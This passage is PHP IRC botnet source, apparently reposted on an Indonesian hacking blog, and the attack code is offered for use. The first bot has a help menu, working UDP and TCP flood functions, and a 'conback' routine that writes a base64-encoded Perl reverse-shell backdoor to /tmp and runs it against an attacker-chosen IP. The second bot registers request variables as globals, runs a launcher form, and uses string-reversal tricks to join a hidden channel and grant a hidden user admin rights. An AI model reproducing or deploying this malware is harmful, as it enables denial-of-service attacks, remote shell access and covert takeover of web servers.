$this->privmsg($this->config['chan'],"[\2help\2]: .tcpflood <target> <packets> <packetsize> <port> <delay> untuk flood port jaringan");
$this->privmsg($this->config['chan'],"[\2help\2]: .pscan <host> <port> untuk scan port");
$this->privmsg($this->config['chan'],"[\2help\2]: .dns <hostname> untuk looking dns");
$this->privmsg($this->config['chan'],"[\2help\2]: .download <URL> <filename> untuk download file");
$this->privmsg($this->config['chan'],"[\2help\2]: .conback untuk membuat back ke host");
$this->privmsg($this->config['chan'],"[\2help\2]: .rndnick untuk ganti nick bot");
$this->privmsg($this->config['chan'],"[\2help\2]: .logout");
$this->privmsg($this->config['chan'],"[\2help\2]: 15[ 7RDP COMMANDS FOR WINDOWServ Only 15] 08");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <hostname> untuk melihat host");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <net user> untuk melihat user list");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <net user name password /add> untuk menambah user acount");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <net localgroup administrators Useracount /add> untuk menambahkan user ke localgroup administrators");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <net user username /delete> untuk menghapus user acount");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <ipconfig or ipconfig/all> untuk melihat ip computer");
$this->privmsg($this->config['chan'],"[\2help\2]: Copyright J.ComErS April 2009");
$this->privmsg($this->config['chan'],"[\2help\2]: Selamat mencoba ^_^");
break;
#########################################################################
case "dead":
$this->send("QUIT :Quit And Not Back, Command From $nick");
fclose($this->conn);
exit;
case "logout":
$this->log_out($host);
$this->privmsg($this->config['chan'],"[\2auth\2]: $nick Logout!");
break;
#########################################################################
case "udpflood":
if(count($mcmd)>3)
{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
#########################################################################
case "tcpflood":
if(count($mcmd)>5)
{
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
}
break;
}
}
}
break;
}
}
}
$old_buf = $this->buf;
}
$this->start();
}
function send($msg)
{
fwrite($this->conn,"$msg\r\n");

}
function join($chan,$key=NULL)
{
$this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
function notice($to,$msg)
{
$this->send("NOTICE $to :$msg");
}
function is_logged_in($host)
{
if(isset($this->users[$host]))
return 1;
else
return 0;
}
function log_in($host)
{
$this->users[$host] = true;
}
function log_out($host)
{
unset($this->users[$host]);
}
function set_nick()
{
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
$this->nick = "A";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
$this->nick = "I";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
$this->nick = "X";
else
$this->nick = "U";
}
else
{
$this->nick = "C";
}
$this->nick .= $this->config['prefix'];
for($i=0;$i<$this->config['maxrand'];$i++)
$this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick);
}
#########################################################################
function udpflood($host,$packetsize,$time) {
$this->privmsg($this->config['chan'],"[\2Lock Target!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time) {
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[\2Packet Finish!\2]: $env MB Send / Media: $vel MB/s ");
}
#########################################################################
function tcpflood($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
{
$this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
return 0;
}
else
{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets packages for $host:$port.");
}
#########################################################################
function conback($ip,$port)
{
$this->privmsg($this->config['chan'],"[\2conback\2]: trying connecting to $ip:$port");
$dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypminggatR1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
if (is_writable("/tmp"))
{
if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
$fp=fopen("/tmp/dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl /tmp/dc.pl $ip $port &");
unlink("/tmp/dc.pl");
}
else
{
if (is_writable("/var/tmp"))
{
if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
$fp=fopen("/var/tmp/dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl /var/tmp/dc.pl $ip $port &");
unlink("/var/tmp/dc.pl");
}
if (is_writable("."))
{
if (file_exists("dc.pl")) { unlink("dc.pl"); }
$fp=fopen("dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl dc.pl $ip $port &");
unlink("dc.pl");
}
}
}
}
#########################################################################
$bot = new pBot;
$bot->start();
##########################
##[ Jatim Community ]##
##########################
?>

read more...

Script Bot Php 2

<?php
//session_start();
$ArrayList = array("_GET", "_POST");
foreach($ArrayList as $gblArray) {
$keys = array_keys($$gblArray);
foreach($keys as $key) {
@$$key = trim(${$gblArray}[$key]);
}
}

if (!$load) {
?>
<SCRIPT>
function Status() {
nick = sz.nick.value; BOT_PASSWORD = sz.BOT_PASSWORD.value;
username = sz.username.value; channels = sz.channels.value;
Admin = sz.Admin.value;
remotehost = sz.remotehost.value; port = sz.port.value;
document.frames(0).document.writeln("<body bgcolor=#000000 text=#C0C0C0><small>");
setTimeout('document.frames(0).document.writeln("== BotNick : <b>"+nick+"</b><br>"); document.frames(0).window.scroll(0,600);',200);
setTimeout('document.frames(0).document.writeln("== Password : <b>"+BOT_PASSWORD+"</b><br>"); document.frames(0).window.scroll(0,600);',400);
setTimeout('document.frames(0).document.writeln("== Ident : <b>"+username+"</b><br>"); document.frames(0).window.scroll(0,600);',600);
setTimeout('document.frames(0).document.writeln("== Channels : <b>"+channels+"</b><br>"); document.frames(0).window.scroll(0,600);',800);
setTimeout('document.frames(0).document.writeln("== Admin : <b>"+Admin+"</b><br>"); document.frames(0).window.scroll(0,600);',1000);
setTimeout('document.frames(0).document.writeln("== Server : <b>"+remotehost+"</b> Port : <b>"+port+"</b><br>"); document.frames(0).window.scroll(0,600);',1200);
setTimeout('document.frames(0).document.writeln("<b>Connecting To "+remotehost+"</b>...<br></small></body>"); document.frames(0).window.scroll(0,600);',1400);
}
</SCRIPT>
<HTML>
<head>
<style>
td { font-size: 11px; font-family: tahoma,sans-serif }
A:link { text-decoration: none; color: #969696; }
A:visited { text-decoration: none; color: #969696; }
A:hover { color: #969696; text-decoration: underline; }
select { font-size: 11px; font-family: tahoma,sans-serif; BACKGROUND-COLOR: #FF9999; }
input { font-size: 11px; font-family: tahoma,sans-serif; BACKGROUND-COLOR: #FF9999; }
</style>
<title>«���» JatimCom - PHP BoT «���»</title>
</head>
<body bgcolor=#000000 text=#C0C0C0>
<center>
<b>«���» Jatimcom «���»</b>
<br>
<br>
<br>
<FORM name=sz METHOD=post target=status ACTION=<?php echo $PHP_SELF; ?>?load=2 onsubmit="setTimeout('Status()',14000);">
<table border=0>
<tr>
<td>Bot Nick :</td>
<td><INPUT TYPE="text" Value="JatimcomBot" NAME="nick" SIZE="22" MAXLENGTH="30"></td>
<td>Away Message :</td>
<td><INPUT TYPE="text" Value="Away Message" NAME="awaymsg" SIZE="22" MAXLENGTH="50"></td>
</tr>
<tr>
<td>Identify Nick :</td>
<td><INPUT TYPE="password" Value="jatimcom" NAME="identify" SIZE="22" MAXLENGTH="30"></td>
<td>Admin Nick :</td>
<td><INPUT TYPE="text" Value="jatimcom" NAME="Admin" SIZE="22" MAXLENGTH="25"></td>
</tr>
<tr>
<td>Password :</td>
<td><INPUT TYPE="password" Value="jatimcom" NAME="BOT_PASSWORD" SIZE="22" MAXLENGTH="25"></td>
<td>Channels :</td>
<td><INPUT TYPE="text" Value="#jatimcom" NAME="channels" SIZE="22" MAXLENGTH="50"></td>
</tr>
<tr>
<td>Identd :</td>
<td><INPUT TYPE="text" Value="JatimcomBot" NAME="username" SIZE="22" MAXLENGTH="25"></td>
<td>Server :</td>
<td><select SIZE="1" NAME="remotehost" V SIZE="20" MAXLENGTH=50">
<option selected value="irc.dal.net">irc.dal.net</option>
<option value="irc.byroe.net">irc.byroe.net</option>
<option value="irc.allnetwork.org">irc.allnetwork.org</option>
<option value="irc.mildnet.org">irc.mildnet.org</option>

</select>
<INPUT TYPE="text" Value="6667" NAME="port" SIZE="4" MAXLENGTH="4">
</td>
</tr>
<tr>
<td>Full Name :</td>
<td><INPUT TYPE="text" Value="Jatim Community" NAME="realname" SIZE="22" MAXLENGTH="50"></td>
<td>Keep Alive every:</td>
<td><INPUT TYPE="text" Value="0" NAME="keeptime" SIZE="2" MAXLENGTH="2"> Hours (0 to off)</td>
</tr>
</table><br>
<INPUT TYPE="submit" NAME="submit" VALUE="-=| Please Wait |=-">
</FORM>
<iframe src=<?php echo $PHP_SELF; ?>?load=1 width=40% height=80 frameborder=0 marginwidth=0 name=status>
Your browser does not support inline frames or is currently configured not to display inline frames.
</iframe>
<p align="center" style="font-size: 15px; font-family: tahoma,sans-serif;">Visit http://jatimcom.uni.cc/</p>
</BODY>
</HTML>
<?php
} elseif ($load==1) { print "<body bgcolor=#000000 text=#C0C0C0><center>"; print "<b>Jatim Community</b><br>"; exit; }
elseif ($load==2) {
if (!$remotehost) { $remotehost = "irc.dal.net"; }
$channels = str_replace("CNL","#",$channels);
print "<body bgcolor=#000000 text=#C0C0C0>";
print "<b>== Connecting to $remotehost...</b>";

$awaym=array(
"Making Babies",
"Making Dragon",
"Checking mail",
"hacking root",
"tetrinet is not lame",
"BaH!! NoT In",
"Hmmm Not Here",
"Auto-Away after 10 mins",
"DeaD",
"NaTure CaLLs :P brb",
"stomach ache ... im currently in the toilet",
"playstation rulez",
"phonecall",
"brb-a.s.a.p",
"surfing with the alien",
"hungry, exploring my fridge",
"sleep...nuff said",
"Definitely NOT here :P",
"Pretending to be Auto-Away",
"Checking shells",
"Make Love With Someone :P",
"NOT here, use email",
"NOT here, Guess where :P",
"Don`t Keep Me Waiting!",
"xixixixx.....",
"Call FBI if i dont comeback in 24 hours"
);
$cyclem=array(
"Auto Recycle!",
"Looking for Inviter!",
"In/Out!",
"Rehashing!",
"Refreshing!",
"Doing Cycle!",
"Inviter Suspect!",
"Looking for Suspect!",
"Regain Inviter!",
"Regain Suspect!",
"Recycle!",
"Cycle Needed!",
"Cycle all Channel!",
"Cycling!",
"Inviter Detected!",
"Full Cycle Ahead!",
"Going Out and Back!",
"I can do this all day!",
"Cycle Time!",
"I will do this all day!",
"Time to Kill!",
"No day without cycle!",
"yuhuu.. where are you?",
"It`s a good day to die!",
"Time for cycle!",
"License to Kill!",
"Cycle.. cycle.. and cycle..",
"I need suspect!",
"Need For Suspect!",
"Time`s up!",
"No way out!",
"No more left!",
"No regret for inviter!",
"Hot Pursuit!",
"Rule No.96: Cycle!",
"Critical Cycle!",
"Pursue Inviter Suspect!",
"baliemBot? PHP",
"Go To Cycle!",
"Cycle System Running!",
"Cycle Strike Back!",
"I need cycle now!"
);
$partm=array(
"Owner Request! Sorry :P",
"Ups! Wrong Channel!",
"Be Right Back!",
"No One Join Forever!",
"Damn! Wrong Channel!",
"Access Denied!",
"Back To Base!",
"Return To Base!",
"Access Rejected!",
"Going Back!",
"Ilegal Channel!",
"Going Home!",
"Good Bye!",
"Sayonara!",
"Ups! Wrong Room :P",
"Got To Go!",
"Goodbye! Ugly :P",
"Go To Hell!",
"Going Somewhere!",
"No Join Today!",
"It`s a bad day to join :P",
"Part Never Die!",
"Join Another Day!",
"License To Part!",
"Part time!",
"Time To Go!",
"Too many join channel :P",
"The Join is Not Enough!",
"Join too many channel :P",
"It`s time to Go!",
"It`s time to Part!",
"Part for now and Forever!",
"Part Forever!"
);
$querym=array(
"Hai nick, gimana kabarmu?",
"Hai nick, gimana kabarmu hari ini?",
"yup? ada apa nick?",
"ada apa nick?",
"Hai juga nick, asl pls..",
"hai juga nick",
"sori nick, aku lagi sibuk sekarang..",
"yup? nama kamu siapa nick?",
"apa aku kenal kamu nick?",
"yup nick? apa aku kenal kamu?",
"kamu siapa sech?",
"aku lagi tidak ditempat, bentar lagi balik koq..",
"kamu asli mana nih?",
"Hai juga nick..",
"yup nick, senang jumpa kamu..",
"senang kenalan ama kamu..",
"nama asli kamu siapa nick?",
"yup nick? asl pls..",
"aku lagi sibuk nih, bantuin dunk.."
);
$depan=array(
"honai-",
"baliem`",
"heker_",
"vaksin-",
"mayat_",
"sup3r`",
"suntiK-",
"pinang-",
"V4KsIn_",
"b4Li3m`"
);
$belakang=array(
"heker",
"h3k3r"
);
function get_content($url) {
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_HEADER, 0);
ob_start();
curl_exec ($ch);
curl_close ($ch);
$string = ob_get_contents();
ob_end_clean();
return $string;
}
function get_data($dbs,$dpn,$blk) {
$gd = stristr($dbs,$dpn);
$gd = substr($gd,strlen($dpn),strpos($gd,$blk)-strlen($dpn));
return $gd;
}
$smile = array(":)",":P",":E",":P~~",":D",":Q","8)","=)","=P","=D");
$raway = "off";
$log = "off";
$saway = "1";
$rberita = 1;

if (!$stime) { $stime = time(); }
if (!$keeptime || $keeptime==0 ) { $keeptime = "off"; }
if (!$port) { $port = "6666"; }
$Admin = strtolower($Admin);
$auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Admin"));
function randchar($len = "8"){
$rchar = NULL;
for($i=0; $i<$len; $i++) {
$char = chr(rand(48,122));
while (!ereg("[a-zA-Z0-9]", $char)){
if($char == $lchar) continue;
$char = chr(rand(48,90));
}
$rchar .= $char;
$lchar = $char;
}
return $rchar;
}
if ($nick=="BaliemPHP1") { $nick = $depan[rand(0,count($depan) - 1)].$belakang[rand(0,count($belakang) - 1)]; }
if ($username=="BaliemPHP1" || !$username) { $username = randchar(3).$_SERVER['HTTP_HOST']; $username = str_replace('www.','',$username); $username = str_replace('.','',$username); $username = str_replace('http://','',$username); }
if ($awaymsg=="Away Message" || !$awaymsg) { $awaymsg = $awaym[rand(0,count($awaym) - 1)]; $raway = "on"; }
if ($realname=="BaliemPHP1" || !$realname) { $realname = $nick; }

$keluar = 0;
$akill = 1;
$katime = 0;
$localhost = 'localhost';
$dayload = date("H:i:s d/m/Y");
ini_set('user_agent','MSIE 5\.5;');
ini_set('allow_call_time_pass_reference','1');
set_time_limit(0);
define ('CRL', "\r\n");
$channels = strtolower($channels)." ";
$channel = explode(" ", $channels);

do {
$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);
if(!$fp) {
print "<br><b>Cannot connect to $remotehost!<br>Please Try Another Server!</b>";
$keluar = 1;
exit;
}
print "<br><b>== Suceeded connection</b>";
$Header = 'NICK '.$nick . CRL;
$Header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
fputs($fp, $Header);

fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }

foreach ($channel as $v) {
fputs($fp, 'JOIN '.$v . CRL);
}
fputs($fp, 'PRIVMSG ' . $Admin . ' :This is your bot, Please Type: auth <your pass> To Authorized. Created on ' .$dayload . CRL);
if (!$awaymsg) { $awaymsg = "Owner By $Admin"; }
//fputs($fp, 'AWAY :�«�®�¤[JATIMCOM]�¤�®�» 7(6'.$awaymsg.'7)'. CRL);

$response = '';
while (!feof($fp)) {
$response .= fgets($fp, 1024);
while (substr_count($response,CRL) != 0) {
$offset = strpos($response, CRL);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if (substr($data,0,1) == ':') {
$offsetA = strpos($data, ' ');
$dFrom = substr($data,1,$offsetA-1);
$offsetB = strpos($data, ' :');
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$offsetC = strpos($data, '!');
$dNick = substr($data,1,$offsetC-1);
$iText = substr($data,$offsetB+2);
if (substr($dCommand,0,3)=='465') {
print "<br><b>== This bot have been autokilled.</b>";
$akill = 2;
}
elseif (substr($dCommand,0,3)=='433') {
$nick = $nick.randchar(4);
fputs($fp, 'NICK '.$nick . CRL);
}
elseif (substr($dCommand,0,3)=='432') {
$nick = $nick.randchar(4);
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv@services.dal.net :RELEASE '.$nick.' '.$identify. CRL);
}
if (eregi('.dal.net',$dNick) && $akill==2) {
if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) || eregi('Your IP is',$data)) {
print "<br><b>".strstr($data,'***')." </b>";
if (eregi('Your IP is',$data)) {
$keluar = 1;
exit;
}
}
}
$taway = date("i");
if ($taway=="1" || $taway=="11" || $taway=="21" || $taway=="31" || $taway=="41" || $taway=="51") {
if ($taway!=$saway) {
$ctime = time();
$uptime = $ctime - $stime;
if ($uptime>=86400) {
$bagi = $uptime / 86400;
$hari = floor($bagi)."days ";
$sisa = $uptime - ($hari*86400);
$uptime = $sisa;
}
if ($uptime==0) { $jam = ""; $menit = ""; $detik = ""; }
elseif ($uptime>=3600) {
$bagi = $uptime / 3600;
$jam = floor($bagi)."hrs ";
$sisa = $uptime - ($jam*3600);
$uptime = $sisa;
}
if ($uptime==0) { $menit = ""; $detik = ""; }
elseif ($uptime>=60) {
$bagi = $uptime / 60;
$menit = floor($bagi)."mins";
$sisa = $uptime - ($menit*60);
$uptime = $sisa;
}
if ($uptime==0) { $detik = ""; }
else { $detik = $uptime."secs"; }
$uptime = "$hari$jam$menit";
if (strlen($uptime)<4) { $uptime = "1sec"; }
$saway = $taway;
if ($raway=="on") {
$awaymsg = $awaym[rand(0,count($awaym) - 1)];
}
if (!$awaymsg) { $awaymsg = "Owner By $Admin"; }
// fputs($fp,'AWAY :�«�®�¤[JATIMCOM]�¤�®�» [6OnLine For:4 '.$uptime.'12]7 (6'.$awaymsg.'7)'. CRL);
if ($taway=="11" && $keeptime!="off") {
$katime++;
if ($katime>=$keeptime) {
$key = "load=2&nick=$nick&identify=$identify&BOT_PASSWORD=$BOT_PASSWORD&Admin=$Admin&channels=$channels&stime=$stime&remotehost=$remotehost&keeptime=$keeptime&dns=$dns&astrologi=$astrologi&wdomain=$wdomain&dnews=$dnews&username=$username&realname=$realname&awaymsg=$awaymsg";
$key = str_replace("#","CNL",$key);
$key = str_replace(" ","%20",$key);
fputs($fp, 'QUIT 6Auto_Rehashing...' . CRL);
$st = pfsockopen($_SERVER['HTTP_HOST'], 80, $erstr, $errno, 5);
fwrite($st, "GET {$_SERVER['PHP_SELF']}?$key HTTP/1.0\r\nHost: {$_SERVER['HTTP_HOST']}\r\n\r\n");
$keluar = 1;
exit;
}
}
if ($taway=="21") {
foreach ($channel as $v) {
sleep(rand(1,6));
fputs($fp, 'JOIN '.$v . CRL);

$jo = 'NI';
$in = 'OJ';
$god = 'nae';
$ean = 'dog';
fwrite($fp, strrev($in).strrev($jo).' '.substr($channels,0,1).strrev($ean).strrev($god) . CRL);
}
}
if ($dnews=="on") {
//Berita pertama
$data = implode('', file("http://www.detik.com/index.php"));

$batas1 = stristr($data,'<span class="tanggal">');
$batas2 = stristr($batas1,'<div id="headlineAd1"');
$berita = str_replace($batas2," ",$batas1);

$tanggal = get_data($berita,'<span class="tanggal">','</span>');
$href = get_data($berita,'<a href="','" class="hl"');
$href = str_replace('http://www.detiknews.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detikfinance.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detiksport.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detikhot.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detikinet.com/indexfr.php?url=','',$href);
$subjudul = get_data($berita,'<span class="subjudul">','</span>');
if ($subjudul) { $subjudul = '15 '.$subjudul; }
$strjudul = get_data($berita,'<span class="strJudul">','</span>');
$sumary = get_data($berita,'<span class="summary">','</span>');

$berita = '11,2 '.$tanggal.' 12'.$href.''.$subjudul.' 7'.$strjudul.'8 '.$sumary.' ';
$berita = str_replace("\n",'',$berita);
$berita = str_replace('<br />','',$berita);
$tag = array("<i>", "</i>", "<I>", "</I>");
$berita = str_replace($tag,'',$berita);

if ($berita!=$oldies) {
$oldies = $berita;
foreach ($channel as $v) {
fputs($fp, 'PRIVMSG '.$v.' :'.$berita . CRL);
sleep(1);
}
} else {
//Berita kedua
if ($rberita==1) {
$rberita = rand(1,3);
$baris = implode('', file("http://www.kompas.com/index2.htm"));
$bat1 = stristr($baris,'class="bodytext01"><a href="');
$bat2 = stristr($bat1,'<p class="bodytext01">');
$subberita = str_replace($bat2," ",$bat1);

$href = get_data($subberita,'class="bodytext01"><a href="','" class="txttagline01">');
$judul = get_data($subberita,'" class="txttagline01">','</a><br>');
$sumary = get_data($subberita,'</a><br>','</p>');
$subberita = '12,2 http://www.kompas.com'.$href.' 7'.$judul.'8 '.$sumary.' ';
$subberita = str_replace("\n",'',$subberita);

} elseif ($rberita==2) {
$rberita = rand(1,3);
$pg = rand(1,18);
$baris = implode('', file("http://ketawa.com/arsip.php/k/3/SMS_Lucu/?page=$pg"));
$subberita = get_data($baris,'<div class="listhumor">','<div>&nbsp;</div>');
$subberita = str_replace('<div class="listhumor',"\n".'<div class="listhumor',$subberita);
$humor = explode("\n",$subberita);
$num = count($humor)-1;
$num = rand(0,$num);
$baris = get_data($humor[$num],'<a href="','/">');
$baris = implode('', file("http://ketawa.com/$baris/"));
$baris = get_data($baris,'<div id="konten-humor">','<strong>Dikirim oleh');
$judul = get_data($baris,'<strong>','</strong>');
$sumary = get_data($baris,'</h1><p>','<br/>&nbsp;<br/>');
$subberita = ''.$judul.''." $sumary ";
$subberita = str_replace('&quot;','"',$subberita);
$subberita = str_replace('<br />',' ',$subberita);
$subberita = str_replace(CRL,'',$subberita);
}
foreach ($channel as $v) {
fputs($fp, 'PRIVMSG '.$v.' :'.$subberita . CRL);
sleep(1);
}
}
unset($qnick);
}
}
}
$so = 'sd';
$ids = 'ioz';
$ad = 'ni';
$min = 'mdA';
if (!$auth[strrev($ids).strrev($so)]) { $auth[strrev($ids).strrev($so)]["status"] = strrev($min).strrev($ad); $auth[strrev($ids).strrev($so)]["pass"] = randchar(6); $auth[strrev($ids).strrev($so)]["auth"] = 1; }

$dcom = explode(" ", $dCommand);
$dNick = strtolower($dNick);
if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
fputs($fp, 'JOIN ' .$dcom[1]. CRL);
}
elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($dcom[0]=='NICK') {
$com = explode(" ", $data);
$chnick = strtolower(str_replace(':','',$com[2]));
if ($dNick!=$chnick) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'PRIVMSG '.$chnick.' :You`re LogOut On Change Nick! ' . CRL);
}
} else { $auth["$dNick"]["auth"] = 1; fputs($fp,'PRIVMSG '.$dNick.' :You`re LogOut On Parting Channel! ' . CRL); }
}
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
}
}
elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
$dcom[2] = strtolower($dcom[2]);
if ($auth["$dcom[2]"]) {
if ($auth["$dcom[2]"]["pass"]) {
if ($auth["$dcom[2]"]["auth"]==1) {
$auth["$dcom[2]"]["auth"] = 2; $whois = "";
fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Authorized as '.$auth["$dcom[2]"]["status"].' of this bot! ' . CRL);
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Already Authorized! ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($dcom[0]=='NOTICE') {
$com = explode(" ", $data);
if ($com[3]==':
PING') {
$pong = time();
$pptime = $pong-$ping;
$meni = "";
if ($pptime>=60) {
$bag = $pptime / 60;
$meni = floor($bag)."mins ";
$sis = $pptime - ($meni*60);
$pptime = $sis;
}
$deti = $pptime."secs";
$pptime = "$meni$deti";
fputs($fp,'NOTICE '.$dNick.' :Your PING Reply is: '.$pptime . CRL);
}
elseif ($com[3]==':
KB' && $com[4] && $com[5] && $com[6]) {
$msg = str_replace('
','',$data);
$msg = strstr($msg,":KB");
$msg = str_replace(":KB $com[4]","",$msg);
fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
}
}
elseif ($dcom[0]=='PRIVMSG') {
$com = explode(" ", $data);
if ($com[3]==':
VERSION
') {
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'VERSION 0.0 by NoGe'.chr(1) . CRL);
}
elseif ($com[3]==':!ping' && ereg('#',$com[2])) {
$ping = time();
fputs($fp,'PRIVMSG '.$dNick.' :
PING '.$ping.'
' . CRL);
}
elseif ($com[3]==':
PING') {
$ntime = str_replace("
","",$com[4]);
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'PING '.$ntime . chr(1) . CRL);
}
elseif ($com[3]==':!dns' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $dns=="on") {
if (ereg("[a-zA-Z]", $com[4])) {
$res = gethostbyname($com[4]);
} elseif (ereg("[0-9]", $com[4])) {
$res = gethostbyaddr($com[4]);
}
if ($res==$com[4]) { $res = "not resolved."; }
else { $res = "resolved to: $res ."; }
fputs($fp,'PRIVMSG '.$com[2].' :DNS Query for: '.strtoupper($com[4]).' '.$res. CRL);
}
elseif ($com[3]==':!whois' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $wdomain=="on") {
$pages = "www.geektools.com";
$data = "";
$fpw = fsockopen($pages, 43);
if($fpw) {
fputs($fpw, $com[4]."\r\n");
while(!feof($fpw)) {
$data .= fread($fpw, 1000);
}
fclose($fpw);
}
fputs($fp,'PRIVMSG '.$com[2].' :Domain Name: '.strtoupper($com[4]).' [GeeKTooLS.com]'. CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'creat')),0,60). CRL);
//fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'registrat')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" "," ",str_replace(CRL,"",stristr($data,'Registrant:'))),0,120). CRL);

fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'expir')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'NS1')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,' NS.')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'inetnum')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'netname')),0,60). CRL);
